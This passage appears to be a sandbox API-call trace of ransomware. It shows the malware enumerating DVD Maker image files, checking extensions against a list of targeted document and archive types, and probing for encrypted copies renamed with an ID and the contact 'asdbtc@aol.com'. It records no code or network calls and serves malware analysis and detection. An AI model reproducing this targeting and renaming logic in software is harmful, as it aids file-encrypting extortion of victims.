lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png") returned 72 [0059.886] lstrlenW (lpString=".1cd") returned 4 [0059.886] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0059.886] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png") returned 72 [0059.886] lstrlenW (lpString=".jpg") returned 4 [0059.887] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0059.887] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0059.887] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33 [0059.887] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0061.090] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=5025) returned 1 [0061.090] CloseHandle (hObject=0x204) returned 1 [0061.090] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png")) returned 0x20 [0061.090] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0061.090] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.090] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0061.090] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0061.090] lstrlenW (lpString=".doc") returned 4 [0061.090] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0061.090] lstrlenW (lpString=".docx") returned 5 [0061.090] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0061.090] lstrlenW (lpString=".pdf") returned 4 [0061.090] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0061.091] lstrlenW (lpString=".xls") returned 4 [0061.091] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0061.091] lstrlenW (lpString=".xlsx") returned 5 [0061.091] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0061.091] lstrlenW (lpString=".ppt") returned 4 [0061.091] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0061.091] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0061.091] lstrlenW (lpString=".zip") returned 4 [0061.091] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0061.091] lstrlenW (lpString=".rar") returned 4 [0061.091] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0061.091] lstrlenW (lpString=".bz2") returned 4 [0061.091] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0061.091] lstrlenW (lpString=".7z") returned 3 [0061.091] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0061.091] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0061.091] lstrlenW (lpString=".dbf") returned 4 [0061.091] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0061.091] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0061.091] lstrlenW (lpString=".1cd") returned 4 [0061.091] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0061.091] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0061.091] lstrlenW (lpString=".jpg") returned 4 [0061.091] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0061.091] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0061.091] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0061.092] lstrlenW (lpString=".doc") returned 4 [0061.092] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0061.092] lstrlenW (lpString=".docx") returned 5 [0061.092] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0061.092] lstrlenW (lpString=".pdf") returned 4 [0061.092] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0061.092] lstrlenW (lpString=".xls") returned 4 [0061.092] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0061.092] lstrlenW (lpString=".xlsx") returned 5 [0061.092] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0061.092] lstrlenW (lpString=".ppt") returned 4 [0061.092] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0061.092] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0061.092] lstrlenW (lpString=".zip") returned 4 [0061.092] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0061.092] lstrlenW (lpString=".rar") returned 4 [0061.092] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0061.092] lstrlenW (lpString=".bz2") returned 4 [0061.092] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0061.092] lstrlenW (lpString=".7z") returned 3 [0061.092] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0061.092] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0061.092] lstrlenW (lpString=".dbf") returned 4 [0061.092] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0061.092] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0061.092] lstrlenW (lpString=".1cd") returned 4 [0061.092] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0061.092] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0061.092] lstrlenW (lpString=".jpg") returned 4 [0061.093] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0061.093] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0061.093] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39 [0061.093] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0061.093] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=3118) returned 1 [0061.093] CloseHandle (hObject=0x204) returned 1 [0061.093] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png")) returned 0x20 [0061.093] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0061.094] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.094] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0061.094] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0061.094] lstrlenW (lpString=".doc") returned 4 [0061.094] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0061.094] lstrlenW (lpString=".docx") returned 5 [0061.094] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0061.094] lstrlenW (lpString=".pdf") returned 4 [0061.094] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0061.094] lstrlenW (lpString=".xls") returned 4 [0061.094] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0061.094] lstrlenW (lpString=".xlsx") returned 5 [0061.094] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0061.094] lstrlenW (lpString=".ppt") returned 4 [0061.094] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0061.094] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0061.094] lstrlenW (lpString=".zip") returned 4 [0061.094] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0061.094] lstrlenW (lpString=".rar") returned 4 [0061.094] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0061.094] lstrlenW (lpString=".bz2") returned 4 [0061.094] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0061.094] lstrlenW (lpString=".7z") returned 3 [0061.094] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0061.094] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0061.095] lstrlenW (lpString=".dbf") returned 4 [0061.095] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0061.095] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0061.095] lstrlenW (lpString=".1cd") returned 4 [0061.095] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0061.095] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0061.095] lstrlenW (lpString=".jpg") returned 4 [0061.095] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0061.095] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0061.095] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0061.095] lstrlenW (lpString=".doc") returned 4 [0061.095] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0061.095] lstrlenW (lpString=".docx") returned 5 [0061.095] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0061.095] lstrlenW (lpString=".pdf") returned 4 [0061.095] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0061.095] lstrlenW (lpString=".xls") returned 4 [0061.095] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0061.095] lstrlenW (lpString=".xlsx") returned 5 [0061.095] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0061.095] lstrlenW (lpString=".ppt") returned 4 [0061.095] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0061.095] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0061.095] lstrlenW (lpString=".zip") returned 4 [0061.095] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0061.095] lstrlenW (lpString=".rar") returned 4 [0061.095] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0061.096] lstrlenW (lpString=".bz2") returned 4 [0061.096] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0061.096] lstrlenW (lpString=".7z") returned 3 [0061.096] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0061.096] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0061.096] lstrlenW (lpString=".dbf") returned 4 [0061.096] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0061.096] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0061.096] lstrlenW (lpString=".1cd") returned 4 [0061.096] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0061.096] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0061.096] lstrlenW (lpString=".jpg") returned 4 [0061.096] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0061.096] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0061.096] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30 [0061.096] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0061.097] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=4955) returned 1 [0061.097] CloseHandle (hObject=0x204) returned 1 [0061.097] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png")) returned 0x20 [0061.097] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0061.097] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.097] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0061.097] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0061.097] lstrlenW (lpString=".doc") returned 4 [0061.097] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0061.098] lstrlenW (lpString=".docx") returned 5 [0061.098] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0061.098] lstrlenW (lpString=".pdf") returned 4 [0061.098] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0061.098] lstrlenW (lpString=".xls") returned 4 [0061.098] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0061.098] lstrlenW (lpString=".xlsx") returned 5 [0061.098] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0061.098] lstrlenW (lpString=".ppt") returned 4 [0061.098] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0061.098] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0061.098] lstrlenW (lpString=".zip") returned 4 [0061.098] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0061.098] lstrlenW (lpString=".rar") returned 4 [0061.098] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0061.098] lstrlenW (lpString=".bz2") returned 4 [0061.098] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0061.098] lstrlenW (lpString=".7z") returned 3 [0061.098] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0061.098] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0061.098] lstrlenW (lpString=".dbf") returned 4 [0061.098] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0061.098] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0061.098] lstrlenW (lpString=".1cd") returned 4 [0061.098] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0061.098] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0061.098] lstrlenW (lpString=".jpg") returned 4 [0061.099] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0061.099] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0061.099] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0061.099] lstrlenW (lpString=".doc") returned 4 [0061.099] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0061.099] lstrlenW (lpString=".docx") returned 5 [0061.099] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0061.099] lstrlenW (lpString=".pdf") returned 4 [0061.099] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0061.099] lstrlenW (lpString=".xls") returned 4 [0061.099] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0061.099] lstrlenW (lpString=".xlsx") returned 5 [0061.099] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0061.099] lstrlenW (lpString=".ppt") returned 4 [0061.099] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0061.099] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0061.099] lstrlenW (lpString=".zip") returned 4 [0061.099] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0061.099] lstrlenW (lpString=".rar") returned 4 [0061.099] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0061.099] lstrlenW (lpString=".bz2") returned 4 [0061.099] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0061.099] lstrlenW (lpString=".7z") returned 3 [0061.099] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0061.099] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0061.099] lstrlenW (lpString=".dbf") returned 4 [0061.099] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0061.100] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0061.100] lstrlenW (lpString=".1cd") returned 4 [0061.100] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0061.100] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0061.100] lstrlenW (lpString=".jpg") returned 4 [0061.100] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0061.100] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0061.100] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36 [0061.100] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0061.100] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=3081) returned 1 [0061.100] CloseHandle (hObject=0x204) returned 1 [0061.100] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png")) returned 0x20 [0061.101] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0061.101] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.101] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0061.101] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0061.101] lstrlenW (lpString=".doc") returned 4 [0061.101] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0061.101] lstrlenW (lpString=".docx") returned 5 [0061.101] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0061.101] lstrlenW (lpString=".pdf") returned 4 [0061.101] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0061.101] lstrlenW (lpString=".xls") returned 4 [0061.101] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0061.101] lstrlenW (lpString=".xlsx") returned 5 [0061.101] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0061.101] lstrlenW (lpString=".ppt") returned 4 [0061.101] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0061.101] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0061.101] lstrlenW (lpString=".zip") returned 4 [0061.101] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0061.101] lstrlenW (lpString=".rar") returned 4 [0061.101] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0061.101] lstrlenW (lpString=".bz2") returned 4 [0061.101] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0061.101] lstrlenW (lpString=".7z") returned 3 [0061.101] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0061.101] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0061.101] lstrlenW (lpString=".dbf") returned 4 [0061.102] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0061.102] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0061.102] lstrlenW (lpString=".1cd") returned 4 [0061.102] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0061.102] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0061.102] lstrlenW (lpString=".jpg") returned 4 [0061.102] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0061.102] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0061.102] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0061.102] lstrlenW (lpString=".doc") returned 4 [0061.102] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0061.102] lstrlenW (lpString=".docx") returned 5 [0061.102] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0061.102] lstrlenW (lpString=".pdf") returned 4 [0061.102] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0061.102] lstrlenW (lpString=".xls") returned 4 [0061.102] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0061.102] lstrlenW (lpString=".xlsx") returned 5 [0061.102] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0061.102] lstrlenW (lpString=".ppt") returned 4 [0061.102] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0061.102] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0061.102] lstrlenW (lpString=".zip") returned 4 [0061.102] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0061.102] lstrlenW (lpString=".rar") returned 4 [0061.102] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0061.102] lstrlenW (lpString=".bz2") returned 4 [0061.103] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0061.103] lstrlenW (lpString=".7z") returned 3 [0061.103] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0061.103] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0061.103] lstrlenW (lpString=".dbf") returned 4 [0061.103] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0061.103] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0061.103] lstrlenW (lpString=".1cd") returned 4 [0061.103] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0061.103] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0061.103] lstrlenW (lpString=".jpg") returned 4 [0061.103] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0061.103] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0061.103] lstrlenW (lpString="vintage.png") returned 11 [0061.103] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0061.103] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=27789) returned 1 [0061.104] CloseHandle (hObject=0x204) returned 1 [0061.104] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png")) returned 0x20 [0061.104] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD 